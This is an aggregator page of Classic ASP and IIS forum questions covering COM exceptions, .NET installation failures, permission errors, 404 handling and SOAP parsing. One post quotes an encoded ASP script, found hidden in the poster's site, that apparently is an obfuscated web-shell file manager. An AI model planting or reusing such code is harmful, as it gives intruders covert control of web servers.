Quantcast
Channel: Classic ASP
Viewing all 488 articles
Browse latest View live

DebugDiag This exception originated from MyModule!_CxxThrowException. has caused an unknown exception (0xe06d7363)

$
0
0

A COM component I developed using C++ years ago  (let's call it MyModule) is causing the following error to be logged by DebugDiag when called from an ASP script on Windows 8 and 2012:

In w3wp__32bit__PID__7828__Date__07_22_2016__Time_01_54_57PM__790__First chance exception 0XE06D7363.dmp the assembly instruction atKERNELBASE!RaiseException+48 in C:\Windows\System32\KERNELBASE.dll fromMicrosoft Corporation
This exception originated from MyModule!_CxxThrowException.
has caused an unknown exception (0xe06d7363) on thread18

This happens not every time I run it, but often.

I built a debug version of it with all the symbols included, and the calling stack pointed to this line of code:

throw new CMyExceptionObject();

Surely enough my code catches exceptions with

try{...} catch( CMyExceptionObject * e ){ .... }

So why an error in the DebugDiag log? And why is the error not always generated? The script is working fine, and the component is performing its duties beautifully.

Thanks in advance.

-- DC Dweller


Unable to install .Net Framework v3.5 on Windows Server 2012

$
0
0

Hi all,

I hope someone can help me with this problem. I cannot install .Net Framework v3.5 on a server running 2012. It is an offline server and does not have internet access. When I run the Add roles and features wizard I get an error:

Installation of one or more roles, role services, or features failed. The source files could not be found...

I followed the advice in the error, and copied the .\sources\sxs folder from the installation DVD to a local folder, then selected that folder within the "Specify an alternate source path" option of the wizard.

This did not make any difference and the installation failed with the same error.

I tried using PowerShell:

PS C:\Users\> Install-WindowsFeature NET-Framework-Core -Source D:\sources\sxs
Install-WindowsFeature : The request to add or remove features on the specified server failed.
Installation of one or more roles, role services, or features failed. Error: 0x800f0907
At line:1 char:1
+ Install-WindowsFeature NET-Framework-Core -Source D:\sources\sxs
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (@{Vhd=; Credent...Name=localhost}:PSObject) [Install-W
   indowsFeature], Exception
    + FullyQualifiedErrorId : DISMAPI_Error__Failed_To_Enable_Updates,Microsoft.Windows.ServerManager.C
   ommands.AddWindowsFeatureCommand

Success Restart Needed Exit Code      Feature Result
------- -------------- ---------      --------------
False   No             Failed         {}

I tried using Dism

C:\Users\>Dism /online /enable-feature /featurename:NetFx3 /All /Source:
D:\sources\sxs /LimitAccess

Deployment Image Servicing and Management tool
Version: 6.3.9600.17031

Image Version: 6.3.9600.17031

Enabling feature(s)
[===========================66.2%======                    ]

Error: 0x800f081f

The source files could not be found.
Use the "Source" option to specify the location of the files that are required t
o restore the feature. For more information on specifying a source location, see
 http://go.microsoft.com/fwlink/?LinkId=243077.

The DISM log file can be found at C:\Windows\Logs\DISM\dism.log

I found an article which references KB3005628 as a fix for this problem. However, this fix corrects the problem when it was caused by the installation of security update 2966827 or 2966828 and they are not installed on my system.

I also tried to enable the policy Specify settings for optional component installation and component repair.

I enabled the policy and enabled "Never attempt to download payload from Windows Update". This made no difference, and the installation still fails no matter how I attempt to install it.

Can anyone help me to get this working? 

Format function issues running classic asp on server 2012

$
0
0
Hi
Wonder if anyone can help please

We've migrated our classic asp apps from server 2003 to server 2012

Has anyone experienced any problems using the vb format fuction running classic asp on server 2012?

IIS 8.5, on web site download, get errors 500.19 and 0x80070005

$
0
0

I have researched this error on the internet and have tried many offered solutions, but not yet found one that works.

The error detail contains this information.

Detailed Error Information:

<div id="details-left">
Module   IIS Web Core
Notification   BeginRequest
Handler   Not yet determined
Error Code   0x80070005
Config Error   Cannot read configuration file due to insufficient permissions
Config File   \\?\UNC\Testing-ha3\msl\SWMB\WebDownloads\web.config
</div> <div id="details-right">
Requested URL   https://testing-ha2.momsys.com:443/WebDownloads/RmtSwmbUserAD/UseForTesting.txt
Physical Path   \\Testing-ha3\msl\SWMB\WebDownloads\RmtSwmbUserAD\UseForTesting.txt
Logon Method   Not yet determined
Logon User   Not yet determined
<div class="clear"></div> </div>

<div class="config_source content-container">

Config Source:

-1:0:

</div>

The website getting this error is built with asp files. The main web page contains links to pages that allow the remote user to upload and download files. When the virtual directories point to local folders (on the IIS server computer), uploads and downloads are successful as are all functions on the web site.

However, when the upload and download virtual directories are changed to point to a network location, on a download the errors shown above occur. The file trying to be downloaded is shown on the web page as exiting, but clicking the link to download the file results in these errors. (Two other functions related to network uploads and downloads, don't work either, but in this post, I'd like to address just this error.)

The problem is reported as a permissions issue denying access to web.config. We don't use web.config, and I've read that it's not necessary, but that "something" (presumably the Application pool identity) must have read access to the folder where web.config might exist.

The Application pool identity is NetworkService. Following advice on the internet I granted read permissions to the web.config folder identified in the error. I granted this permission to IIS_IUSERS and NetworkService, which arelocal accounts on the network computer (also running Win2012 R2 standard). I also granted read permissions to IIS_IUSERS and NetworkService forall parent folders to the folder where web.config might exist.

I also tried changing the Application pool identity to an active directory account (AfdService) and gave AfdServiceat least read permissions to the folder where web.config might exist and to all parent folders.

Despite these attempts, on download error 500.19 and 0x80070005 are returned and access to Web.config is cited as the reason.

Edit: One more important point: I ran Process Monitor to find what process was getting the access denied error. The answer wasw3wp.exe

According to an internet definition, w3wp.exe is a process associated with the application pool in IIS.

So any ideas on this one?

HTTP/1.1 500 Server Error with ASP & C# COM object access

$
0
0

Environment:

Windows 2008 R2, IIS 7.5, ASP, .Net 4.0 using Visual Studio 2010 and Win 10 Debuggers (CDB/WinDBG)

We have an ATL 9 C++ COM component that works in our environment without issue. We are attempting to create a new C# COM object replacement for the C++ component.

1. We have created as plain of a C# COM object as possible. It is MTA, COM exposed, it has locking/synchronization to ensure tread safety, yada yada.

2. We have configured IIS 7.5 to allow MTA and tried threadTrackingModel true and false. MTA is enabled so we can place the COM object in the application storage/variable space because all C# DLL's are MTA and set to "both" in the registry.

3. IIS is configured to log exceptions to NT log. errorsToNTLog=true. The only log entry I can see is a single WAS failed to activate error that may or may not be associated with this issue, but there's no useful information in the log entry. The code indicated is so generic.

4. We have tried 32bit and 64bit mode. makes no difference.

5. We instantiate a server.createobject("OUR OBJECT") in application_OnStart in global.asa. We store a reference to this object in application("OurObject")

GLOBAL.ASA

Sub Application_OnStart
 dim obj
 Set obj= Server.CreateObject("OurComObject")
 Set Application("OurObject") = obj
 Set obj = nothing
End Sub

Our ASP page is simple...

test.asp

<%
dim js
 set obj = Application("OurObject")
 set obj = nothing
 %>

Executing this page slowly and single requests is successful.

If we attempt to access this like a live system with many users, heavy load, we quickly experience HTTP/1.1 500 Server Error.

The other pages on the website are still accessible. This page is no longer accessible once the error occurs. Modifying the page and saving it causes the compiled cache version to be released and accessing the page after recompilation allows it to function again.

FREB shows the error, but has no details about the error occurrence.

67. - ASP_LOG_ERROR

LineNumber

 

ErrorCode

ASP 0147

Description

500 Server Error


Debug Diags catches nothing. NO exceptions thrown.
CDB activating the w3wp process catches nothing. NO exceptions thrown. Attaching to the W3WP process with MSVS is no help either.
There is no friendly error message for the error in IE as the 500 error page is generated by IIS and sent to browser. That’s all there is
IIS is configured to show DETAILED error messages.
In the IIS advanced log file the error 500 has a subcode is 0 which is useless.
Using CDB/WinDBG to activate the W3WP process does not catch any exceptions either

Breaking into the ASP we can interrogate the COM object, access methods and accessors and they all work. Viewing the object in watch windows displays everything correctly.

My inclination is there is an issue with CCW/COM and quick access by multiple ASP pages in IIS/ASP handler. The fact that it is random and indeterminate in timing would indicate threading or perhaps garbage handling/ref counting issues. I am unable however to debug into this, find anything related to memory corruption, invalid references, null pointers, etc. as there's no exceptions (native/CLR/system) ever thrown.

I am at a loss as to how to figure out what is causing the 500 error. Any help, suggestions, ideas etc. are greatly appreciated.

Thank you,

Howard

Classic ASP IIS7.5 Custom 404 Handler

$
0
0

I am working on a busy site which we have migrated from to IIS7.5, which uses a custom 404.asp handler to process SEO friendly URLS and return the correct content from included asp scripts.

We have managed to get the 404 method to work on IIS7.5, but if there is a error in the code somewhere, we have set iis to run 500.asp which is designed to log the error and returns a useful message to the user.

So the flow should be :

User types Friendly URL : e.g. http://www.sitename.com/testarticle/ Which does not exist and files 404.asp 404 looks up "testarticle" in our database and returns the correct content. That all works..

If error Should call 500.asp - Logs Error in our Log (Works) - Returns Msg to the screen (Not working - Just Get Blank Page)

however in IIS7.5 the 500.asp logs the error in our log, but absolutely nothing is written out to the screen - We just get a blank screen. Very Frustrating.

We have tried changing what feels like every setting in IIS, and web.config but we can't get this to work.

Any help much appreciated.. Cheers

Webhosting Error 0x80070002 IIS 8.0 Error in opening Links on Home Page

$
0
0

Dear All,

My website is working fine without issues from last many years on Windows 2008 R/2 SQL Server 2008/2012 and on VPS. I changed VPS every year but it never gave errors. I hosted it on shared hosting also but it never gave errors. 

After hosting I used to do Application Pool and IIS and Handlers settings through RDP or plesk in shared hosting.

This year we have hosted it on Shared hosting of Mocha host (Control by website panel) but after hosting website was not working.

They said code issue (This code is working from last many years) but I not accepted. I found and changed application pool from 4.0 Integrated to 2.0 Classic and the website started working, after changing the POOL.

The main page appears well and very fast also.

BUT THE PROBLEM IS WHEN I CLICK IN ANY LINK ON WEB PAGE IT IS GIVING ERROR:

 

Detailed Error Information:

Module

   IIS Web Core

Notification

   MapRequestHandler

Handler

   StaticFile

Error Code

   0x80070002

Requested URL

   http://www.mydomain.com:80/mypage

Physical Path

   e:\HostingSpaces\myaccount\mydomain.com\wwwroot\mypage

Logon Method

   Anonymous

Logon User

   Anonymous

 

THIS IS OBVIOUSLY IIS Error and from IIS Server.

I think this is due to url rewriting issues in IIS settings, Handlers and Application pool.

As the pages have .aspx or html extensions but when we click the url taken is without extension and just the page name.

 

This same code us running fine from last 5-6 years.

Never faced any problem even after changing VPS or Shared hosting.

In shared hosting the Hosting company technical support team has always been able to do the proper settings to run site.

But this time Mochahost is the hosting provider and they on every thing say CODE issues.

Even when the site was not working after hosting they said CODE issues.

As it was first time we were using websitepanel (we always used PLESK panel) we took time and found out the pool settings and changed pool. After that it started working.

On every problem they say code problem and every time we manage some settings which resolves.

But this problem we are not able to resolve as we donot have RDP or IIS access. I know it has to do something with Handlers and Pool settings.

PLEASE HELP.

 

The webconfig is:

 

<?xml version="1.0" encoding="UTF-8"?>
<!--
For more information on how to configure your ASP.NET application, please visit
http://go.microsoft.com/fwlink/?LinkId=152368
-->
<configuration>
<connectionStrings>
<!-- <add name="SXXXXXXXConnectionString" connectionString="Data Source=100.1.***.***;Initial Catalog=catalog1;User ID=**********;Password=**********" providerName="System.Data.SqlClient" />
<add name="SXXXXXXXConnectionString1" connectionString="Data Source=100.1.***.***;Initial Catalog=catalog1;User ID=**********;Password=**********" providerName="System.Data.SqlClient" />
-->
<add name="SXXXXXXXConnectionString" connectionString="Data Source=100.1.***.***;Initial Catalog=catalog1;User ID=**********;Password=**********" providerName="System.Data.SqlClient" />
<add name="SXXXXXXXConnectionString1" connectionString="Data Source=100.1.***.***;Initial Catalog=catalog1;Persist Security Info=True;User ID=***********;Password=**********" providerName="System.Data.SqlClient" />
<add name="ConStr" connectionString="Data Source =100.1.***.***;Initial Catalog = Catalog1;Persist Security Info = false;User ID = ************; Password=**********;" providerName="System.Data.SqlClient" />
<add name="SXXXXXXXConnectionString2" connectionString="Data Source=100.1.***.***;Initial Catalog=catalog1;Persist Security Info=True;User ID=*************;Password=**********" providerName="System.Data.SqlClient" />
<add name="Catalog1ConnectionString" connectionString="Data Source=100.1.***.***;Initial Catalog=Catalog1;User ID=sa;Password=**********" providerName="System.Data.SqlClient" />
</connectionStrings>
<appSettings>
<add key="webpages:Version" value="1.0.0.0" />
<add key="ClientValidationEnabled" value="true" />
<add key="UnobtrusiveJavaScriptEnabled" value="true" />
<add key="ReCaptchaPrivateKey" value="USAAAAAXXXXXXXXXXXXXXXXXXXXXXXX" />
<add key="ReCaptchaPublicKey" value="USAAAAAXXXXXXXXXXXXXXXXXXX" />
<add key="DTEConnstr" value="Data Source=100.1.***.***;Initial Catalog=Catalog1;User ID=************;Password=**********" />
</appSettings>
<system.web>
<httpRuntime maxUrlLength="7200" maxQueryStringLength="7200" relaxedUrlToFileSystemMapping="true" requestValidationMode="2.0" maxRequestLength="2097151" />
<sessionState mode="InProc" timeout="1" />
<machineKey decryption="AES" validation="SHA1" decryptionKey="XXXXXXXXXXX999999999" validationKey="999999999999999999XXXXXXXXXXXXXXXXXX" />
<membership>
<providers>
<remove name="AspNetSqlMembershipProvider" />
<add connectionStringName="SXXXXXXXConnectionString1" enablePasswordRetrieval="true" enablePasswordReset="true" requiresQuestionAndAnswer="false" applicationName="SXXXXXX" requiresUniqueEmail="true" passwordFormat="Encrypted" maxInvalidPasswordAttempts="20" minRequiredPasswordLength="2" minRequiredNonalphanumericCharacters="0" passwordAttemptWindow="20" passwordStrengthRegularExpression="" name="AspNetSqlMembershipProvider" type="System.Web.Security.SqlMembershipProvider, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=f5ftccyy6877tjk" />
</providers>
</membership>
<roleManager enabled="true">
<providers>
<remove name="AspNetSqlRoleProvider" />
<add connectionStringName="SXXXXXXXConnectionString1" applicationName="SXXXXXX" name="AspNetSqlRoleProvider" type="System.Web.Security.SqlRoleProvider, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=f5jhjghg68787" />
</providers>
</roleManager>
<customErrors mode="Off"></customErrors>
<compilation debug="true" targetFramework="4.0">
<assemblies>
<add assembly="System.Web.Abstractions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=XXXXytu3tjheg53" />
<add assembly="System.Web.Helpers, Version=1.0.0.0, Culture=neutral, PublicKeyToken=XXXXytu3tjheg53" />
<add assembly="System.Web.Routing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=XXXXytu3tjheg53" />
<add assembly="System.Web.Mvc, Version=3.0.0.0, Culture=neutral, PublicKeyToken=XXXXytu3tjheg53" />
<add assembly="System.Web.WebPages, Version=1.0.0.0, Culture=neutral, PublicKeyToken=XXXXytu3tjheg53" />
<add assembly="System.Web.Extensions.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=XXXXytu3tjheg53" />
<add assembly="System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=XXXXytu3tjheg53" />
<add assembly="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=XXXXytu3tjheg53" />
<add assembly="System.Data.Linq, Version=4.0.0.0, Culture=neutral, PublicKeyToken=XXXXytu3tjheg53" />
</assemblies>
</compilation>
<authentication mode="Forms">
<forms loginUrl="~/Account/LogOn" timeout="2880" />
</authentication>
<pages validateRequest="false">
<namespaces>
<add namespace="System.Web.Helpers" />
<add namespace="System.Web.Mvc" />
<add namespace="System.Web.Mvc.Ajax" />
<add namespace="System.Web.Mvc.Html" />
<add namespace="System.Web.Routing" />
<add namespace="System.Web.WebPages" />
<add namespace="MvcReCaptcha.Helpers" />
</namespaces>
</pages>

<webServices>
<protocols>
<add name="HttpGet" />
<add name="HttpPost" />
</protocols>
</webServices>
<httpHandlers>
<add path="WebResource.axd" verb="GET" type="System.Web.Handlers.AssemblyResourceLoader" validate="True" />
</httpHandlers>
</system.web>
<location path="Admin">
<system.web>
<authorization>
<deny users="?" />
</authorization>
</system.web>
</location>
<system.webServer>
<validation validateIntegratedModeConfiguration="false" />
<modules runAllManagedModulesForAllRequests="true" />
<!-- <handlers>
<remove name="PageHandlerFactory-Integrated" />
<remove name="HttpRemotingHandlerFactory-soap-Integrated" />
<remove name="ASPClassic" />
<add name="ASPClassic" path="*.asp" verb="GET,HEAD,POST" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="File" requireAccess="Script" />
</handlers> ,DefaultDocumentModule,DirectoryListingModule-->
</system.webServer>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="System.Web.Mvc" publicKeyToken="XXXXytu3tjheg53" />
<bindingRedirect oldVersion="1.0.0.0-2.0.0.0" newVersion="3.0.0.0" />
</dependentAssembly>
</assemblyBinding>
</runtime>
<system.webServer>
<security>
<requestFiltering>
<requestLimits maxAllowedContentLength="1048576000" maxQueryString="7200" maxUrl="10485760" />
</requestFiltering>
</security>
</system.webServer>
<system.net>
<mailSettings>
<smtp from="post@XXXXXX.com">
<network host="smtp.yahoocom" defaultCredentials="false" port="587" userName=****************" password="**********" />
</smtp>
</mailSettings>
</system.net>
</configuration>

How to tell server its 404 error for querystring value in ASP

$
0
0

Hi,
I have a eCommerce site in classic asp. On product detail page (product.asp), if the Product_ID value is not found in database, the asp script displays a 404 Product not found error message for customers. But the Google crawl error page mentioned following:
"The target URL doesn't exist, but your server is not returning a 404 (file not found) error"

My question is how to tell server its 404 error if specific product_id is not found in DB. The page will not automatically go to custom 404 page as the product.asp is there but the product_id value is not found.

Thanks,
Babar


Parsing SOAP XML with Classic ASP

$
0
0

I'm typically a LAMP stack developer, so I'm a little out of my element on this one. I'm working on a classic ASP site that is doing a SOAP based XML API connection. It's worked in the past, but now we're updating the API to connect to a different application. Problem is, I'm not able to get the API to work any more. 

I set up a SOAP client before editing this API, and it tested good. I've run several tests since to be sure that it is still working. I set up an ASP server on my local computer to get detailed error reporting. 

Microsoft VBScript runtime error '800a01c2'
Wrong number of arguments or invalid property assignment

This is the line in question (Line 69):

isSuccess = objDoc.getElementsByTagName("Status")

If it is helpful, here is the code for the entire document. Thank you!

<%@ language=vbscript %><% Option Explicit %><%
'============================================================'
'   Authenticate a representative using the representative's
'   user name (RepDID or EmailAddress) and password.
'============================================================'

'----------------------------------------------------------'
' Process User Submitted Data
'----------------------------------------------------------'
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then

	'Load form fields into variables
	Dim repUsername, repPassword
	repUsername = Trim(Request.Form("rep-username"))
	repPassword = Trim(Request.Form("rep-password"))

	'Set up basic Validation...
	If repUsername = "" Or repPassword = "" Then
		Response.Redirect ("../index.asp?login=error#login")

	Else
		'----------------------------------------------------------'
		' Compose SOAP Request
		'----------------------------------------------------------'
		Dim xobj, SOAPRequest
		Set xobj = Server.CreateObject("Msxml2.ServerXMLHTTP")
		xobj.Open "POST", "http://api.domain.com/3.0/Api.asmx", False
		xobj.setRequestHeader "Content-Type", "text/xml; charset=utf-8"
		xobj.setRequestHeader "SOAPAction", "http://api.domain.com/AuthenticateCustomer"
		SOAPRequest = _"<?xml version=""1.0"" encoding=""utf-8""?>" &_"<x:Envelope xmlns:x='http://schemas.xmlsoap.org/soap/envelope/' xmlns:api='http://api.domain.com/'>"&_"<x:Header>" &_"<api:ApiAuthentication>" &_"<api:LoginName>string</api:LoginName>" &_"<api:Password>string</api:Password>" &_"<api:Company>string</api:Company>" &_"<api:ApiAuthentication>" &_"</x:Header>" &_"<x:Body>" &_"<api:AuthenticateCustomerRequest>" &_"<api:LoginName>"&repUsername&"</api:LoginName>" &_"<api:Password>"&repPassword&"</api:Password>" &_"</api:AuthenticateCustomerRequest>" &_"</x:Body>" &_"</x:Envelope>"

		' Send SOAP envelope
		xobj.send SOAPRequest

        '----------------------------------------------------------'
        ' Retrieve SOAP Response
        '----------------------------------------------------------'
		Dim strReturn, objDoc, isSuccess
		' Receive SOAP response
		strReturn = xobj.responseText 'Get the return envelope

        Set objDoc = CreateObject("Microsoft.XMLDOM")
		objDoc.async = False
		' Load XML
		objDoc.LoadXml(strReturn)
		' Parse XML
		isSuccess = objDoc.getElementsByTagName("Status")("Success").text

		'----------------------------------------------------------'
		' If user is valid set Session Authenticated otherwise
		' restrict user and redirect to the index page and show error
		'----------------------------------------------------------'
		' Authenticate
		If isSuccess = "Success" Then
			Session("Authenticated") = 1
			'Session.Timeout = 1 '60 'Expire session 1 hours from current time
			Response.Redirect ("../welcome.asp#AdvancedTrainingVideos")

		Else
			Session("Authenticated") = 0
			Response.Redirect ("../index.asp?login=error#login")

		End IF 'END - isSuccess

	End IF ' END - Basic Validation...
End IF 'END - REQUEST_METHOD POST

%>

ASP VB Script Replace

$
0
0

I messed up an upload routine so that the full physical path to the file is entered into the table on upload. To view the file I need to strip these characters when they exist but folder name is dynamic according to username.

So the path to the file is /server/plans/directory/uploads/<%=rs_plan.Fields.Item("pl_username")%>/filename

From this I need to display just the file name.

Any help would be appreciated.

join between two tables in two different databases

$
0
0

DB_CONNECTIONSTRING_COM="driver={MySQL ODBC 3.51 driver};server=ip;port=p;uid=id;pwd=pw;database=db1;option=;Provider=MSDASQL;"
Set conn1= Server.CreateObject("ADODB.Connection")
conn1.Open DB_CONNECTIONSTRING_COM

DB_CONNECTIONSTRING_COM2="driver={MySQL ODBC 3.51 driver};server=ip;port=p;uid=id;pwd=pw;database=db2option=;Provider=MSDASQL;"
Set conn2= Server.CreateObject("ADODB.Connection")
conn2.Open DB_CONNECTIONSTRING_COM2

I have two objects that connect to two databases .
How do I make a join between two tables in the two databases?

thanks

IIS 8.5 On upload with CPSHost.dll get HTTP/1.0 500 Cannot move file "..." to its final destination. Further processing is stopped.

$
0
0

Within the web site, an asp file uses CPSHost.dll to upload a file. (The upload is successful when the uploads destination folder is local to the IIS server.)

However, when the web site uploads virtual directory points to a destination folder in on a computer different than the IIS server, the failure message in the subject is returned.

For the failure, Process Monitor shows the process w3wp.exe successfully writes the uploaded file to the IIS Server's local temp location of C:\Windows\Temp\D356C8. It also shows the uploaded file is successfully deleted from the temp folder (presumably in the attempt to move it to the destination folder on the networked computer, \\testing-HA3\

The address shown in the browser on the IIS Server is https://testing-ha2.momsys.com/webmailbox/cpshost.dll?PUBLISH?.

The identity of the Application pool is NetworkService

My guess is either

  • A destination permissions issue exists
  • or CPSHost.dll can't move a file from the temp area to the destination on another computer.

To try to address the possible permissions issue, I've granted the IIS Server computer\\testing-HA2 (via Testing-HA2$) full control on the destination directory and its parent directory. The logged on Active Directory user also has full control on the destination folder and read access to its parent directory.

So is another permission needed here?

Or does the temp folder need to be configured for the destination disk? (If so, how?)

Or is something else the issue?

Thanks!

slow openning asp page

$
0
0
i have site writed in classic asp which on iis 7.0. this site is connecting on ms sql 2012 database. i tryed with caching, output caching, compression but pages is openning vera slow. very slow is openning page on which there's table that read data from sql table where for example shows 1000 records. time for opens this page is 30sec. what i do

Runing IIS 6 app on IIS8

$
0
0

Greetings everyone, first time posting here: 

I had this web app running in windows server 2003 using IIS 6 and ASP.Net 1.1.4322. Had to migrate the app to a New 2012 server with IIS 8. App connects to different SQL databases using ODBCs. Clients will request and post data only from the local network. App can read from SQL databases, but will not write to any of them. Correct writting permissions have been granted at SQL level with user NT AUTHORITY\IUSR. This user also has reading and writing permissions at wwwroot directory level. Yet I can't still write to the database.  IIS and SQL logs don't provide valuable information regarding this issue. ODBC is working perfectly, since the local server app can read/write without hesitation.

Application Pool Configuration:

.Net Framework Version: No Managed Code
Enable 32-Bit Applications: True
Managed Pipeline Mode: Classic
Identity: Network Service

Application IIS Configuration:
Autentication: Anonymous and Basic Authentication are enabled
.NET Authorization Rules: Allow All Users GET,POST local and Inherited

winhttp.dll on windows 2008 r2 x64

$
0
0

hello,

I use WinHttp.WinHttpRequest.5.1 object and the PCI DSS provider upgrade to TLS 1.1 and TLS 1.2

if I try to use any of this options:

obj.Option(9) = 2048  'TLS 1.2

obj.Option(9) = 512 'TLS 1.1

I get an error.

I upgrade all the kb realted but I get the same result

if I try from web-browser the URL load using TLS 1.1 and TLS 1.2

what is the solution ?


help with asp code validating form data

$
0
0

Hello - I am hoping someone can help me.  I have a web-based form that inserts data into an access database.   All is working fine.  Now I would like to validate a field that requires a date field.

On the Access database side I have a field called DateEntry.  I have the Format set to Short Date, an Input Mask of 99/99/0000;0; and it is Required.

On the web form, in the DateEntry box, if you enter something other than the date (in the right format), the data mismatch code appears at the bottom.

My question is - can someone show me how to use code that will tell the user something like "invalid entry" instead of getting the data mismatch code??

This is very frustrating.  Been working on it for hours and no success.

Thank you!!!

Help Anyone know how to decrypt it?

$
0
0
CryHelping someone knows how to solve it ? Cry wanted to know what is
hidden in these command lines and power someone could tell me what and this encryption
and tell how to decrypt . and if you have any descript online to decrypt and know what
is in these lines of code found within my site? Help remembering the file where it was and .asp



<%#@~^swoAAA==7U+U4l,'P^WT;/MPQP^WL2m//@#@&d;WxkO~h6"WGY~x,J&J@#@&d;WUdDPhna;tCDUnDPx,J&?r %RX, FE@#@&d/G    /Y,dtKhCb[[+    qD+h/~x,Y.E@#@&iZGUkYP^C^m;VmOKGDl^?k.+,xPDD;+@#@&7/Kx/D~mmVm!sCYsKV[+.jbynP{~YMEn@#@&dZGUkY~+9rDl8^+A6YxkrW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Dm{EEtDYa)&zAASRC/an6aVG.DRVrDRU+D&!wsKl9Rob0rEPmVO'rJ3U7klM~lM;Eb-G/rJ@*J@#@&7/KxdY,rmKxJGTWEO~{PE@!bhTPC^kTx'm4khk9Ns+,4G.9+D{TPSkND4x 8P4+ro4O{ TPk.m{JE4DYwl&JhAhcCkwnXw^WDDcVkDRU+DzsGTWED ob0Jr~CVD'rJjlr.rJ@*J@#@&d;WUdDPk^G    fnVOPx,J@!k:TPmskTxxl(/hr9NV~4KDN.x!,hbNOtx+8P4+bLtD'+T,/D^xrJ4YD2=z&ShSRlkwaw^W.+MRVrDRxOz9+VOnRTk6JEPCsD'EJm2lTl.Er@*J@#@&i?;4,uD:s_+mN+MPvOkDVn~,m4CM/+Db@#@&x3cDAA==^#~@%>

<%#@~^GwAAAA==uD:sUYHV+@#@&_O:^9C\m?^.bwYSQkAAA==^#~@%>
</head>
<body bgcolor="#000000" text="#FF8C00">
<%#@~^yAEAAA==7@#@&7Ax9P?!4@#@&dUE8P_YhswWWDnD,`#@#@&@#@&M+kwGxdnch.kDnPr@!&8KNX@*@!JtO:^@*rd@#@&@#@&d2    N,jE(@#@&@#@&dj;(PCDhV;WwH.ro4Yv#7@#@&]/2W    d+c.rD+PE@!Dl8V~1+s^/almbxTx!,mnV^wC[9kxTx!,4WM[nD{!,lskLU{mnxDnD@*@!O.@*@!Y[@*@!l~tMn6'v4YDw)JzSAhcYn:b/UnDRmKhR(DzE@*@!0KxDPWl^n{B-+M[l    lv~kkynxE vP1G^W.{B[&&2&2fB,/OX^+xv:2(:RfAZr")Pq}1=PUWUnE@*)?h~2XwsGM+D~8HPP+srk1nDPq+4hDK[ELm^+9ksILWYbsNi+k@!&0KxD@*@!zC@*@!zON@*@!zDD@*@!JYl8s@*E@#@&7Ax[,?!4d@#@&ijE(PuYsVjOHV+,KIIAAA==^#~@%>
<style>

How can i place iframe at specific coordinates so in case of change or update they will change accordingly

$
0
0

i believe it's possible but first i need to know how with asp i can download a website code to a database

secondly i need to know the left and top position of iframe

and finally check every time and change with margin-x/y the position of iframe of the website

date field updation based on dropdownlist changes in classic asp

$
0
0

Hi Team,

I have a dropdown and a text box.

Based on the change in the dropdown 'within_year' selected,the text box 'followup_date' value should be updated.

<tr>
<td><b>Timeline</b></td>
<td><select id="within_year"   >
<% do while not otimeline.eof %>
<option value="<%= otimeline("value")%>" <% if otimeline("value") = ors("within_year") then response.write " selected"%>><%= otimeline("label_en") %></option>
<% otimeline.movenext
loop %>
</select>
</td>
</tr>
<tr>
<td><b>Followup Date</b></td>
<td><input type="text" id="followup_date" value="" o_type="oID:<%= oID%>"/></td><!--value="<%= ors("date_identified")%>"-->
</tr>

current values in the dropdown list are 

1.in the next 7-10 Days

2.in the next 10-30 Days

for example if the first one is selected.followupdate should be updated to todays date+ 10 days = 09/16/2016

or if 2nd option is selected,followupdate should be updated to todays date+ 30days = 10/06/2016

Please suggest the code.Please add the changes to the existing code mentioned above.

Thanks,

Navatha.

Classic ASP on Server 2016

$
0
0

Hi

Is it correct that classic ASP cannot be run on server 2016 ? I've been told this by a developer colleague , but he wasn't sure whether it was correct.

Viewing all 488 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>